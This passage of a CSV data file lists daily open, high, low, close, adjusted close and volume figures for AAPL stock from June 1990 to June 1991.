-1990-06-12,1.3973214626312256,1.4464285373687744,1.3839285373687744,1.4464285373687744,1.1828471422195435,41258000.0,AAPL -1990-06-13,1.4419642686843872,1.4553571939468384,1.4196428060531616,1.4196428060531616,1.1609421968460083,34736800.0,AAPL -1990-06-14,1.4285714626312256,1.4375,1.4017857313156128,1.4196428060531616,1.1609421968460083,35081200.0,AAPL -1990-06-15,1.4196428060531616,1.4285714626312256,1.3973214626312256,1.4107142686843872,1.153640866279602,36036000.0,AAPL -1990-06-18,1.4017857313156128,1.4107142686843872,1.3928571939468384,1.4017857313156128,1.1463392972946167,27848800.0,AAPL -1990-06-19,1.3928571939468384,1.4196428060531616,1.3705357313156128,1.4151785373687744,1.1572916507720947,39306400.0,AAPL -1990-06-20,1.4241071939468384,1.4375,1.4196428060531616,1.4285714626312256,1.1682438850402832,38684800.0,AAPL -1990-06-21,1.4285714626312256,1.5,1.4285714626312256,1.4955357313156128,1.2230054140090942,52150000.0,AAPL -1990-06-22,1.5,1.5223214626312256,1.4732142686843872,1.4821428060531616,1.2120529413223267,70994000.0,AAPL -1990-06-25,1.4821428060531616,1.4910714626312256,1.4375,1.4732142686843872,1.2047516107559204,30500400.0,AAPL -1990-06-26,1.4910714626312256,1.5,1.4419642686843872,1.4508928060531616,1.1864975690841675,31813600.0,AAPL -1990-06-27,1.4553571939468384,1.5,1.4375,1.4821428060531616,1.2120529413223267,24306800.0,AAPL -1990-06-28,1.5267857313156128,1.5446428060531616,1.4910714626312256,1.5357142686843872,1.2558623552322388,62484800.0,AAPL -1990-06-29,1.5357142686843872,1.6026785373687744,1.5267857313156128,1.5982142686843872,1.3069730997085571,81298000.0,AAPL -1990-07-02,1.5892857313156128,1.5892857313156128,1.5625,1.5714285373687744,1.285068154335022,33852000.0,AAPL -1990-07-03,1.5669642686843872,1.5892857313156128,1.5625,1.5714285373687744,1.285068154335022,24875200.0,AAPL -1990-07-05,1.5625,1.5803571939468384,1.5446428060531616,1.5535714626312256,1.2704647779464722,26866000.0,AAPL -1990-07-06,1.5535714626312256,1.6071428060531616,1.5446428060531616,1.5982142686843872,1.3069730997085571,52264800.0,AAPL -1990-07-09,1.6071428060531616,1.6785714626312256,1.5982142686843872,1.6651785373687744,1.36173415184021,78864800.0,AAPL -1990-07-10,1.6785714626312256,1.6964285373687744,1.6696428060531616,1.6785714626312256,1.3726866245269775,90356000.0,AAPL -1990-07-11,1.6696428060531616,1.6785714626312256,1.6339285373687744,1.6785714626312256,1.3726866245269775,61538400.0,AAPL -1990-07-12,1.6696428060531616,1.6964285373687744,1.6607142686843872,1.6919642686843872,1.3836390972137451,45617600.0,AAPL -1990-07-13,1.6964285373687744,1.7053571939468384,1.6696428060531616,1.6696428060531616,1.365384578704834,57744400.0,AAPL -1990-07-16,1.6696428060531616,1.6830357313156128,1.6160714626312256,1.6294642686843872,1.3325281143188477,44926000.0,AAPL -1990-07-17,1.6339285373687744,1.6428571939468384,1.5714285373687744,1.5803571939468384,1.2923694849014282,34213200.0,AAPL -1990-07-18,1.5892857313156128,1.6071428060531616,1.5357142686843872,1.59375,1.3033223152160645,72091600.0,AAPL -1990-07-19,1.4553571939468384,1.5178571939468384,1.4285714626312256,1.4910714626312256,1.219354271888733,146496000.0,AAPL -1990-07-20,1.5,1.5178571939468384,1.4553571939468384,1.4642857313156128,1.1974502801895142,47961200.0,AAPL -1990-07-23,1.4642857313156128,1.4910714626312256,1.4285714626312256,1.4821428060531616,1.2120529413223267,67547200.0,AAPL -1990-07-24,1.5,1.5089285373687744,1.4642857313156128,1.5044642686843872,1.2303071022033691,48479200.0,AAPL -1990-07-25,1.5,1.5446428060531616,1.4910714626312256,1.5089285373687744,1.2339576482772827,26230400.0,AAPL -1990-07-26,1.5089285373687744,1.5178571939468384,1.4642857313156128,1.4776785373687744,1.2084025144577026,20084400.0,AAPL -1990-07-27,1.4732142686843872,1.4910714626312256,1.4464285373687744,1.4776785373687744,1.2084025144577026,15579200.0,AAPL -1990-07-30,1.4553571939468384,1.5178571939468384,1.4553571939468384,1.5133928060531616,1.237608551979065,21364000.0,AAPL -1990-07-31,1.5178571939468384,1.5267857313156128,1.4821428060531616,1.5,1.2266559600830078,24001600.0,AAPL -1990-08-01,1.5,1.5267857313156128,1.4821428060531616,1.5133928060531616,1.237608551979065,23377200.0,AAPL -1990-08-02,1.4732142686843872,1.5625,1.4732142686843872,1.5535714626312256,1.2704647779464722,55781600.0,AAPL -1990-08-03,1.5535714626312256,1.5625,1.4196428060531616,1.4732142686843872,1.2047516107559204,67242000.0,AAPL -1990-08-06,1.3928571939468384,1.4464285373687744,1.375,1.4107142686843872,1.153640866279602,44914800.0,AAPL -1990-08-07,1.4375,1.4508928060531616,1.3839285373687744,1.4107142686843872,1.153640866279602,49632800.0,AAPL -1990-08-08,1.4107142686843872,1.4553571939468384,1.4107142686843872,1.4330357313156128,1.1718945503234863,25634000.0,AAPL -1990-08-09,1.4375,1.4464285373687744,1.4017857313156128,1.4107142686843872,1.153640866279602,24096800.0,AAPL -1990-08-10,1.3839285373687744,1.4017857313156128,1.3660714626312256,1.3839285373687744,1.131736397743225,25676000.0,AAPL -1990-08-13,1.3571428060531616,1.4285714626312256,1.3526785373687744,1.4241071939468384,1.1645928621292114,39029200.0,AAPL -1990-08-14,1.4285714626312256,1.4285714626312256,1.4017857313156128,1.4196428060531616,1.1609421968460083,24542000.0,AAPL -1990-08-15,1.4285714626312256,1.4375,1.4017857313156128,1.4017857313156128,1.1463392972946167,23013200.0,AAPL -1990-08-16,1.3928571939468384,1.4151785373687744,1.375,1.375,1.124434232711792,30973600.0,AAPL -1990-08-17,1.375,1.375,1.2767857313156128,1.3035714626312256,1.0660229921340942,61527200.0,AAPL -1990-08-20,1.3035714626312256,1.3392857313156128,1.2946428060531616,1.3125,1.07656991481781,18765600.0,AAPL -1990-08-21,1.2767857313156128,1.3125,1.2589285373687744,1.2946428060531616,1.0619226694107056,40261200.0,AAPL -1990-08-22,1.3214285373687744,1.3214285373687744,1.2455357313156128,1.2544642686843872,1.0289660692214966,30679600.0,AAPL -1990-08-23,1.2232142686843872,1.25,1.1964285373687744,1.2321428060531616,1.0106570720672607,35924000.0,AAPL -1990-08-24,1.2589285373687744,1.2857142686843872,1.2410714626312256,1.2678571939468384,1.0399515628814697,18354000.0,AAPL -1990-08-27,1.3125,1.3571428060531616,1.2946428060531616,1.3482142686843872,1.1058646440505981,29366400.0,AAPL -1990-08-28,1.3392857313156128,1.3705357313156128,1.3303571939468384,1.3616071939468384,1.1168495416641235,20048000.0,AAPL -1990-08-29,1.3571428060531616,1.3616071939468384,1.3125,1.3303571939468384,1.0912171602249146,37732800.0,AAPL -1990-08-30,1.3303571939468384,1.3392857313156128,1.2857142686843872,1.2946428060531616,1.0619226694107056,30648800.0,AAPL -1990-08-31,1.2857142686843872,1.3303571939468384,1.2857142686843872,1.3214285373687744,1.0838934183120728,24864000.0,AAPL -1990-09-04,1.3035714626312256,1.3392857313156128,1.3035714626312256,1.3214285373687744,1.0838934183120728,20686400.0,AAPL -1990-09-05,1.3303571939468384,1.3303571939468384,1.2767857313156128,1.2857142686843872,1.0545989274978638,16013200.0,AAPL -1990-09-06,1.2678571939468384,1.2857142686843872,1.2589285373687744,1.2767857313156128,1.0472756624221802,21907200.0,AAPL -1990-09-07,1.2678571939468384,1.3125,1.2544642686843872,1.2991071939468384,1.065584659576416,14543200.0,AAPL -1990-09-10,1.3214285373687744,1.3214285373687744,1.2767857313156128,1.2767857313156128,1.0472756624221802,18995200.0,AAPL -1990-09-11,1.2857142686843872,1.2901785373687744,1.2053571939468384,1.2142857313156128,0.9960101842880249,44567600.0,AAPL -1990-09-12,1.2321428060531616,1.2321428060531616,1.1964285373687744,1.2142857313156128,0.9960101842880249,25102000.0,AAPL -1990-09-13,1.2321428060531616,1.2410714626312256,1.1785714626312256,1.2053571939468384,0.9886866211891174,24315200.0,AAPL -1990-09-14,1.1964285373687744,1.2232142686843872,1.1875,1.2142857313156128,0.9960101842880249,28478800.0,AAPL -1990-09-17,1.2142857313156128,1.2589285373687744,1.1964285373687744,1.2053571939468384,0.9886866211891174,19418000.0,AAPL -1990-09-18,1.2053571939468384,1.2053571939468384,1.1785714626312256,1.1919642686843872,0.9777010679244995,31152800.0,AAPL -1990-09-19,1.1875,1.2053571939468384,1.1428571939468384,1.1607142686843872,0.9520682096481323,45614800.0,AAPL -1990-09-20,1.1517857313156128,1.1517857313156128,1.1160714626312256,1.1294642686843872,0.9264357686042786,25233600.0,AAPL -1990-09-21,1.1428571939468384,1.1607142686843872,1.1071428060531616,1.125,0.9227741360664368,38466400.0,AAPL -1990-09-24,1.125,1.125,1.0625,1.0803571939468384,0.8861560821533203,34624800.0,AAPL -1990-09-25,1.0892857313156128,1.0982142686843872,1.0446428060531616,1.0714285373687744,0.8788325190544128,39488400.0,AAPL -1990-09-26,1.0714285373687744,1.0892857313156128,1.0625,1.0625,0.8715088367462158,23534000.0,AAPL -1990-09-27,1.0714285373687744,1.0892857313156128,1.0,1.0089285373687744,0.8275671601295471,35585200.0,AAPL -1990-09-28,1.0178571939468384,1.0357142686843872,0.9732142686843872,1.0357142686843872,0.8495379686355591,44010400.0,AAPL -1990-10-01,1.0535714626312256,1.1071428060531616,1.0446428060531616,1.0892857313156128,0.8934794664382935,38914400.0,AAPL -1990-10-02,1.1071428060531616,1.1428571939468384,1.0535714626312256,1.0580357313156128,0.8678469657897949,67746000.0,AAPL -1990-10-03,1.0625,1.0625,0.9553571343421936,0.9642857313156128,0.7909492254257202,67060000.0,AAPL -1990-10-04,0.9553571343421936,1.0,0.9375,1.0,0.8202435970306396,53373600.0,AAPL -1990-10-05,0.9642857313156128,1.0267857313156128,0.9642857313156128,1.0,0.8202435970306396,24872400.0,AAPL -1990-10-08,1.0267857313156128,1.0446428060531616,1.0089285373687744,1.0401785373687744,0.8531997203826904,15383200.0,AAPL -1990-10-09,1.0178571939468384,1.0357142686843872,0.9910714030265808,1.0,0.8202435970306396,30144800.0,AAPL -1990-10-10,0.9732142686843872,1.0,0.9285714030265808,0.9464285969734192,0.7763020396232605,36976800.0,AAPL -1990-10-11,0.9553571343421936,0.9955357313156128,0.9107142686843872,0.9910714030265808,0.8129199147224426,51494800.0,AAPL -1990-10-12,1.0089285373687744,1.0178571939468384,0.9642857313156128,1.0089285373687744,0.8275671601295471,57162000.0,AAPL -1990-10-15,1.0178571939468384,1.0267857313156128,0.9508928656578064,0.9910714030265808,0.8129199147224426,50254400.0,AAPL -1990-10-16,0.9821428656578064,0.9821428656578064,0.8660714030265808,0.8928571343421936,0.7323604226112366,76308400.0,AAPL -1990-10-17,0.9017857313156128,0.9464285969734192,0.8928571343421936,0.9464285969734192,0.7763020396232605,77266000.0,AAPL -1990-10-18,0.9464285969734192,1.0267857313156128,0.9464285969734192,1.0178571939468384,0.8348909616470337,78750000.0,AAPL -1990-10-19,1.1160714626312256,1.1339285373687744,1.0803571939468384,1.1205357313156128,0.9191122055053711,233433200.0,AAPL -1990-10-22,1.125,1.125,1.0892857313156128,1.1116071939468384,0.9117885828018188,63184800.0,AAPL -1990-10-23,1.1071428060531616,1.125,1.0803571939468384,1.1071428060531616,0.9081270098686218,41762000.0,AAPL -1990-10-24,1.0982142686843872,1.1071428060531616,1.0714285373687744,1.0892857313156128,0.8934794664382935,35456400.0,AAPL -1990-10-25,1.0803571939468384,1.1160714626312256,1.0580357313156128,1.0714285373687744,0.8788325190544128,38365600.0,AAPL -1990-10-26,1.0625,1.1160714626312256,1.0625,1.0714285373687744,0.8788325190544128,33549600.0,AAPL -1990-10-29,1.0803571939468384,1.0892857313156128,1.0625,1.0669642686843872,0.8751705288887024,30870000.0,AAPL -1990-10-30,1.0625,1.0982142686843872,1.03125,1.0848214626312256,0.8898175358772278,24511200.0,AAPL -1990-10-31,1.0892857313156128,1.1383928060531616,1.0803571939468384,1.0982142686843872,0.90080326795578,37189600.0,AAPL -1990-11-01,1.0892857313156128,1.1071428060531616,1.0625,1.0892857313156128,0.8934794664382935,22663200.0,AAPL -1990-11-02,1.0892857313156128,1.15625,1.0892857313156128,1.1339285373687744,0.9300976395606995,37153200.0,AAPL -1990-11-05,1.1517857313156128,1.1964285373687744,1.1428571939468384,1.1875,0.9740389585494995,46118800.0,AAPL -1990-11-06,1.1964285373687744,1.2321428060531616,1.1875,1.1964285373687744,0.981362521648407,46191600.0,AAPL -1990-11-07,1.1964285373687744,1.2053571939468384,1.1651785373687744,1.1875,0.9740389585494995,50744400.0,AAPL -1990-11-08,1.1785714626312256,1.25,1.1785714626312256,1.2321428060531616,1.0106570720672607,49812000.0,AAPL -1990-11-09,1.25,1.2767857313156128,1.2321428060531616,1.2678571939468384,1.0399515628814697,49557200.0,AAPL -1990-11-12,1.2678571939468384,1.3125,1.2589285373687744,1.2946428060531616,1.0619226694107056,36262800.0,AAPL -1990-11-13,1.2946428060531616,1.3035714626312256,1.2767857313156128,1.2857142686843872,1.0545989274978638,35487200.0,AAPL -1990-11-14,1.2767857313156128,1.3303571939468384,1.2767857313156128,1.3214285373687744,1.0838934183120728,47686800.0,AAPL -1990-11-15,1.3125,1.3214285373687744,1.2678571939468384,1.2857142686843872,1.0545989274978638,40443200.0,AAPL -1990-11-16,1.2767857313156128,1.2857142686843872,1.2410714626312256,1.2544642686843872,1.032410979270935,45752000.0,AAPL -1990-11-19,1.2678571939468384,1.2991071939468384,1.2589285373687744,1.2991071939468384,1.069151759147644,55977600.0,AAPL -1990-11-20,1.3035714626312256,1.3125,1.2589285373687744,1.2678571939468384,1.043433427810669,38407600.0,AAPL -1990-11-21,1.2589285373687744,1.2946428060531616,1.2410714626312256,1.2901785373687744,1.0618036985397339,30802800.0,AAPL -1990-11-23,1.2946428060531616,1.3214285373687744,1.2857142686843872,1.2991071939468384,1.069151759147644,13300000.0,AAPL -1990-11-26,1.2857142686843872,1.3214285373687744,1.2857142686843872,1.3125,1.0801737308502197,20364400.0,AAPL -1990-11-27,1.3214285373687744,1.3660714626312256,1.3125,1.3392857313156128,1.102218508720398,41146000.0,AAPL -1990-11-28,1.3482142686843872,1.375,1.3125,1.3125,1.0801737308502197,43727600.0,AAPL -1990-11-29,1.3214285373687744,1.3214285373687744,1.2946428060531616,1.3125,1.0801737308502197,31676400.0,AAPL -1990-11-30,1.2946428060531616,1.3303571939468384,1.2946428060531616,1.3125,1.0801737308502197,30377200.0,AAPL -1990-12-03,1.3303571939468384,1.3660714626312256,1.3214285373687744,1.3616071939468384,1.1205886602401733,41350400.0,AAPL -1990-12-04,1.3392857313156128,1.3839285373687744,1.3392857313156128,1.375,1.1316108703613281,38038000.0,AAPL -1990-12-05,1.375,1.4375,1.3526785373687744,1.4330357313156128,1.179373860359192,54597200.0,AAPL -1990-12-06,1.4732142686843872,1.4910714626312256,1.4464285373687744,1.4732142686843872,1.2124402523040771,133061600.0,AAPL -1990-12-07,1.4642857313156128,1.5267857313156128,1.4642857313156128,1.5178571939468384,1.2491806745529175,82415200.0,AAPL -1990-12-10,1.5089285373687744,1.5178571939468384,1.4821428060531616,1.4910714626312256,1.2271366119384766,62647200.0,AAPL -1990-12-11,1.4732142686843872,1.4821428060531616,1.4285714626312256,1.4285714626312256,1.1756994724273682,86970800.0,AAPL -1990-12-12,1.4196428060531616,1.4285714626312256,1.3928571939468384,1.4151785373687744,1.1646772623062134,60589200.0,AAPL -1990-12-13,1.4107142686843872,1.4642857313156128,1.4107142686843872,1.4553571939468384,1.1977438926696777,40182800.0,AAPL -1990-12-14,1.4375,1.4464285373687744,1.4107142686843872,1.4241071939468384,1.1720249652862549,21767200.0,AAPL -1990-12-17,1.3928571939468384,1.4464285373687744,1.3928571939468384,1.4330357313156128,1.179373860359192,32776800.0,AAPL -1990-12-18,1.4642857313156128,1.5178571939468384,1.4553571939468384,1.5089285373687744,1.2418327331542969,55246800.0,AAPL -1990-12-19,1.5178571939468384,1.5178571939468384,1.46875,1.4955357313156128,1.2308104038238525,35165200.0,AAPL -1990-12-20,1.4732142686843872,1.5892857313156128,1.4732142686843872,1.5714285373687744,1.293269395828247,100268000.0,AAPL -1990-12-21,1.5803571939468384,1.6160714626312256,1.5535714626312256,1.6071428060531616,1.3226618766784668,86534000.0,AAPL -1990-12-24,1.5982142686843872,1.6071428060531616,1.5714285373687744,1.5714285373687744,1.293269395828247,14680400.0,AAPL -1990-12-26,1.5714285373687744,1.5803571939468384,1.5357142686843872,1.5625,1.285921573638916,25768400.0,AAPL -1990-12-27,1.5446428060531616,1.5714285373687744,1.5446428060531616,1.5535714626312256,1.278572916984558,24413200.0,AAPL -1990-12-28,1.5446428060531616,1.5535714626312256,1.5267857313156128,1.5357142686843872,1.2638771533966064,15982400.0,AAPL -1990-12-31,1.5357142686843872,1.5446428060531616,1.5267857313156128,1.5357142686843872,1.2638771533966064,11068400.0,AAPL -1991-01-02,1.5267857313156128,1.5714285373687744,1.5,1.5535714626312256,1.278572916984558,38746400.0,AAPL -1991-01-03,1.5535714626312256,1.5803571939468384,1.5357142686843872,1.5357142686843872,1.2638771533966064,37545200.0,AAPL -1991-01-04,1.5357142686843872,1.5803571939468384,1.5357142686843872,1.5446428060531616,1.2712249755859375,35380800.0,AAPL -1991-01-07,1.5357142686843872,1.6160714626312256,1.5357142686843872,1.5446428060531616,1.2712249755859375,77700000.0,AAPL -1991-01-08,1.5625,1.5669642686843872,1.5178571939468384,1.5446428060531616,1.2712249755859375,54672800.0,AAPL -1991-01-09,1.5803571939468384,1.6428571939468384,1.5625,1.6160714626312256,1.330010175704956,116816000.0,AAPL -1991-01-10,1.6339285373687744,1.6875,1.6339285373687744,1.6830357313156128,1.3851213455200195,108830400.0,AAPL -1991-01-11,1.6785714626312256,1.6875,1.6428571939468384,1.6785714626312256,1.3814467191696167,76913200.0,AAPL -1991-01-14,1.6428571939468384,1.6696428060531616,1.6428571939468384,1.6517857313156128,1.3594027757644653,52710000.0,AAPL -1991-01-15,1.6607142686843872,1.6696428060531616,1.6428571939468384,1.6696428060531616,1.374098777770996,48014400.0,AAPL -1991-01-16,1.6785714626312256,1.7857142686843872,1.6696428060531616,1.7767857313156128,1.4622758626937866,97658400.0,AAPL -1991-01-17,1.875,1.8839285373687744,1.75,1.8303571939468384,1.506365180015564,147918400.0,AAPL -1991-01-18,1.7410714626312256,1.8125,1.7321428060531616,1.7946428060531616,1.4769726991653442,235810400.0,AAPL -1991-01-21,1.7767857313156128,1.8392857313156128,1.7767857313156128,1.8125,1.491668462753296,81076800.0,AAPL -1991-01-22,1.8214285373687744,1.875,1.8035714626312256,1.8303571939468384,1.506365180015564,106932000.0,AAPL -1991-01-23,1.8303571939468384,1.8660714626312256,1.8214285373687744,1.8482142686843872,1.5210610628128052,61065200.0,AAPL -1991-01-24,1.8392857313156128,1.8839285373687744,1.8392857313156128,1.8616071939468384,1.5320838689804077,58483600.0,AAPL -1991-01-25,1.8571428060531616,1.9151785373687744,1.8571428060531616,1.9107142686843872,1.5724977254867554,55952400.0,AAPL -1991-01-28,1.9017857313156128,1.9732142686843872,1.9017857313156128,1.9464285373687744,1.6018905639648438,68370400.0,AAPL -1991-01-29,1.9375,1.9464285373687744,1.8660714626312256,1.9196428060531616,1.5798463821411133,53888800.0,AAPL -1991-01-30,1.9017857313156128,1.9910714626312256,1.9017857313156128,1.9821428060531616,1.631282925605774,84193200.0,AAPL -1991-01-31,1.9821428060531616,2.0,1.9553571939468384,1.9821428060531616,1.631282925605774,60648000.0,AAPL -1991-02-01,1.9821428060531616,2.0669643878936768,1.9821428060531616,1.9910714626312256,1.6386308670043945,111137600.0,AAPL -1991-02-04,1.9910714626312256,2.0,1.9642857313156128,1.9732142686843872,1.6239349842071533,66962000.0,AAPL -1991-02-05,1.9732142686843872,2.0714285373687744,1.9553571939468384,2.0625,1.6974163055419922,89028800.0,AAPL -1991-02-06,2.0625,2.080357074737549,2.017857074737549,2.03125,1.671697735786438,55641600.0,AAPL -1991-02-07,2.0357143878936768,2.0982143878936768,1.9910714626312256,2.0625,1.6974163055419922,130043200.0,AAPL -1991-02-08,2.0535714626312256,2.1517856121063232,2.0535714626312256,2.138392925262451,1.7598754167556763,78388800.0,AAPL -1991-02-11,2.142857074737549,2.1964285373687744,2.1339285373687744,2.1919643878936768,1.8039641380310059,80757600.0,AAPL -1991-02-12,2.1785714626312256,2.1875,2.1205356121063232,2.142857074737549,1.7635493278503418,56187600.0,AAPL -1991-02-13,2.142857074737549,2.1517856121063232,2.0714285373687744,2.142857074737549,1.7635493278503418,63887600.0,AAPL -1991-02-14,2.142857074737549,2.142857074737549,2.0267856121063232,2.0401785373687744,1.6790457963943481,94418800.0,AAPL -1991-02-15,2.044642925262451,2.0892856121063232,2.044642925262451,2.0580356121063232,1.6973116397857666,91403200.0,AAPL -1991-02-19,2.0535714626312256,2.1517856121063232,2.049107074737549,2.142857074737549,1.767265796661377,56562800.0,AAPL -1991-02-20,2.125,2.205357074737549,2.1160714626312256,2.1785714626312256,1.7967193126678467,53410000.0,AAPL -1991-02-21,2.1875,2.2232143878936768,2.0982143878936768,2.107142925262451,1.7378109693527222,47717600.0,AAPL -1991-02-22,2.107142925262451,2.205357074737549,2.0892856121063232,2.1339285373687744,1.7599016427993774,58142000.0,AAPL -1991-02-25,2.1517856121063232,2.1607143878936768,2.0535714626312256,2.0714285373687744,1.7083563804626465,89818400.0,AAPL -1991-02-26,2.0535714626312256,2.0982143878936768,2.017857074737549,2.080357074737549,1.7157199382781982,62504400.0,AAPL -1991-02-27,2.080357074737549,2.0892856121063232,2.0535714626312256,2.080357074737549,1.7157199382781982,43593200.0,AAPL -1991-02-28,2.080357074737549,2.0892856121063232,2.0089285373687744,2.044642925262451,1.6862655878067017,56840000.0,AAPL -1991-03-01,2.0357143878936768,2.107142925262451,2.0357143878936768,2.0625,1.7009930610656738,31533600.0,AAPL -1991-03-04,2.0714285373687744,2.0982143878936768,2.0357143878936768,2.0848214626312256,1.7194020748138428,22089200.0,AAPL -1991-03-05,2.107142925262451,2.2589285373687744,2.107142925262451,2.2544643878936768,1.8593106269836426,110362000.0,AAPL -1991-03-06,2.2857143878936768,2.34375,2.2455356121063232,2.25,1.8556287288665771,130989600.0,AAPL -1991-03-07,2.267857074737549,2.4107143878936768,2.2589285373687744,2.4017856121063232,1.9808106422424316,80438400.0,AAPL -1991-03-08,2.419642925262451,2.4375,2.3214285373687744,2.3214285373687744,1.9145375490188599,80550400.0,AAPL -1991-03-11,2.3035714626312256,2.3125,2.2232143878936768,2.267857074737549,1.8703553676605225,43842400.0,AAPL -1991-03-12,2.25,2.2767856121063232,2.232142925262451,2.2455356121063232,1.8519463539123535,58419200.0,AAPL -1991-03-13,2.2410714626312256,2.375,2.2410714626312256,2.3660714626312256,1.9513558149337769,43638000.0,AAPL -1991-03-14,2.3839285373687744,2.4107143878936768,2.3035714626312256,2.330357074737549,1.921900749206543,56767200.0,AAPL -1991-03-15,2.3482143878936768,2.375,2.330357074737549,2.3660714626312256,1.9513558149337769,51209200.0,AAPL -1991-03-18,2.3482143878936768,2.4375,2.3482143878936768,2.419642925262451,1.995537281036377,53502400.0,AAPL -1991-03-19,2.375,2.5089285373687744,2.3482143878936768,2.482142925262451,2.047081470489502,105548800.0,AAPL -1991-03-20,2.4732143878936768,2.482142925262451,2.388392925262451,2.419642925262451,1.995537281036377,90426000.0,AAPL -1991-03-21,2.4375,2.455357074737549,2.2767856121063232,2.3125,1.9071743488311768,74200000.0,AAPL -1991-03-22,2.2857143878936768,2.3125,2.2232143878936768,2.2589285373687744,1.862992525100708,84532000.0,AAPL -1991-03-25,2.267857074737549,2.3214285373687744,2.2589285373687744,2.3035714626312256,1.8998101949691772,33964000.0,AAPL -1991-03-26,2.3125,2.5089285373687744,2.3125,2.5,2.06181001663208,83406400.0,AAPL -1991-03-27,2.5,2.5089285373687744,2.4464285373687744,2.4732143878936768,2.0397188663482666,47555200.0,AAPL -1991-03-28,2.4732143878936768,2.5,2.419642925262451,2.4285714626312256,2.002901077270508,19675600.0,AAPL -1991-04-01,2.4285714626312256,2.482142925262451,2.4107143878936768,2.4464285373687744,2.017627239227295,29481200.0,AAPL -1991-04-02,2.4642856121063232,2.5982143878936768,2.4464285373687744,2.5982143878936768,2.1428091526031494,73231200.0,AAPL -1991-04-03,2.5892856121063232,2.5982143878936768,2.5,2.5,2.06181001663208,60032000.0,AAPL -1991-04-04,2.5,2.5714285373687744,2.482142925262451,2.5535714626312256,2.105991840362549,42109200.0,AAPL -1991-04-05,2.5625,2.5625,2.455357074737549,2.4776785373687744,2.0433995723724365,38852800.0,AAPL -1991-04-08,2.4732143878936768,2.5,2.455357074737549,2.5,2.06181001663208,18118800.0,AAPL -1991-04-09,2.4910714626312256,2.5,2.4375,2.455357074737549,2.024991273880005,29862000.0,AAPL -1991-04-10,2.4464285373687744,2.4732143878936768,2.3839285373687744,2.388392925262451,1.9697641134262085,54101600.0,AAPL -1991-04-11,2.419642925262451,2.549107074737549,2.4107143878936768,2.5357143878936768,2.091264247894287,88897200.0,AAPL -1991-04-12,2.5535714626312256,2.6160714626312256,2.4910714626312256,2.5625,2.113354444503784,91929600.0,AAPL -1991-04-15,2.205357074737549,2.3035714626312256,2.142857074737549,2.2232143878936768,1.8335378170013428,425096000.0,AAPL -1991-04-16,2.2589285373687744,2.3035714626312256,2.232142925262451,2.294642925262451,1.8924458026885986,155195600.0,AAPL -1991-04-17,2.3214285373687744,2.3214285373687744,2.2142856121063232,2.2589285373687744,1.862992525100708,80600800.0,AAPL -1991-04-18,2.2410714626312256,2.25,2.169642925262451,2.1785714626312256,1.7967193126678467,61840800.0,AAPL -1991-04-19,2.1785714626312256,2.1964285373687744,2.125,2.1294643878936768,1.7562193870544434,71825600.0,AAPL -1991-04-22,2.125,2.2142856121063232,2.0982143878936768,2.1964285373687744,1.8114467859268188,64254400.0,AAPL -1991-04-23,2.2232143878936768,2.25,2.1517856121063232,2.1964285373687744,1.8114467859268188,59323600.0,AAPL -1991-04-24,2.205357074737549,2.2142856121063232,2.1607143878936768,2.169642925262451,1.789355754852295,26362000.0,AAPL -1991-04-25,2.1339285373687744,2.1339285373687744,2.0892856121063232,2.0892856121063232,1.7230833768844604,78845200.0,AAPL -1991-04-26,2.0892856121063232,2.107142925262451,2.0625,2.09375,1.7267652750015259,31264800.0,AAPL -1991-04-29,2.0892856121063232,2.1517856121063232,2.080357074737549,2.080357074737549,1.7157199382781982,51676800.0,AAPL -1991-04-30,2.0625,2.080357074737549,1.9464285373687744,1.9642857313156128,1.6199930906295776,177861600.0,AAPL -1991-05-01,1.7142857313156128,1.75,1.6785714626312256,1.6875,1.391721487045288,467093200.0,AAPL -1991-05-02,1.7053571939468384,1.7767857313156128,1.6964285373687744,1.75,1.4432666301727295,202781600.0,AAPL -1991-05-03,1.75,1.7678571939468384,1.7232142686843872,1.75,1.4432666301727295,60928000.0,AAPL -1991-05-06,1.7321428060531616,1.8035714626312256,1.7232142686843872,1.7946428060531616,1.480084776878357,53082400.0,AAPL -1991-05-07,1.8214285373687744,1.8303571939468384,1.8035714626312256,1.8080357313156128,1.4911296367645264,67620000.0,AAPL -1991-05-08,1.8125,1.8125,1.7589285373687744,1.7767857313156128,1.4653573036193848,44195200.0,AAPL -1991-05-09,1.7857142686843872,1.8392857313156128,1.7767857313156128,1.8125,1.49481201171875,59553200.0,AAPL -1991-05-10,1.8392857313156128,1.9017857313156128,1.8125,1.8303571939468384,1.5095393657684326,60432400.0,AAPL -1991-05-13,1.8660714626312256,1.9107142686843872,1.8392857313156128,1.8839285373687744,1.5537211894989014,61236000.0,AAPL -1991-05-14,1.8839285373687744,1.9196428060531616,1.875,1.9107142686843872,1.5758109092712402,54236000.0,AAPL -1991-05-15,1.8392857313156128,1.8571428060531616,1.75,1.8035714626312256,1.48744797706604,129586800.0,AAPL -1991-05-16,1.8214285373687744,1.8303571939468384,1.7321428060531616,1.75,1.4432666301727295,95533200.0,AAPL -1991-05-17,1.7410714626312256,1.7410714626312256,1.6607142686843872,1.6785714626312256,1.3843580484390259,117765200.0,AAPL -1991-05-20,1.6875,1.6964285373687744,1.5714285373687744,1.5803571939468384,1.3066973686218262,65542400.0,AAPL -1991-05-21,1.6160714626312256,1.6607142686843872,1.5982142686843872,1.6160714626312256,1.3362274169921875,87449600.0,AAPL -1991-05-22,1.6339285373687744,1.6607142686843872,1.625,1.6517857313156128,1.3657575845718384,56817600.0,AAPL -1991-05-23,1.6607142686843872,1.6696428060531616,1.5982142686843872,1.6116071939468384,1.3325363397598267,52164000.0,AAPL -1991-05-24,1.625,1.6428571939468384,1.6071428060531616,1.6383928060531616,1.3546836376190186,24281600.0,AAPL -1991-05-28,1.6428571939468384,1.6517857313156128,1.6160714626312256,1.6428571939468384,1.3583751916885376,42859600.0,AAPL -1991-05-29,1.6517857313156128,1.7053571939468384,1.6383928060531616,1.6785714626312256,1.3879050016403198,96000800.0,AAPL -1991-05-30,1.6785714626312256,1.7053571939468384,1.6607142686843872,1.7008928060531616,1.4063609838485718,39586400.0,AAPL -1991-05-31,1.6964285373687744,1.7053571939468384,1.6517857313156128,1.6785714626312256,1.3879050016403198,54465600.0,AAPL -1991-06-03,1.6785714626312256,1.7678571939468384,1.6696428060531616,1.7589285373687744,1.454347014427185,55017200.0,AAPL -1991-06-04,1.7678571939468384,1.7678571939468384,1.7321428060531616,1.7544642686843872,1.4506558179855347,46071200.0,AAPL -1991-06-05,1.7589285373687744,1.7589285373687744,1.7053571939468384,1.7142857313156128,1.417434573173523,33322800.0,AAPL -1991-06-06,1.7232142686843872,1.7232142686843872,1.6607142686843872,1.6651785373687744,1.376831293106079,42126000.0,AAPL 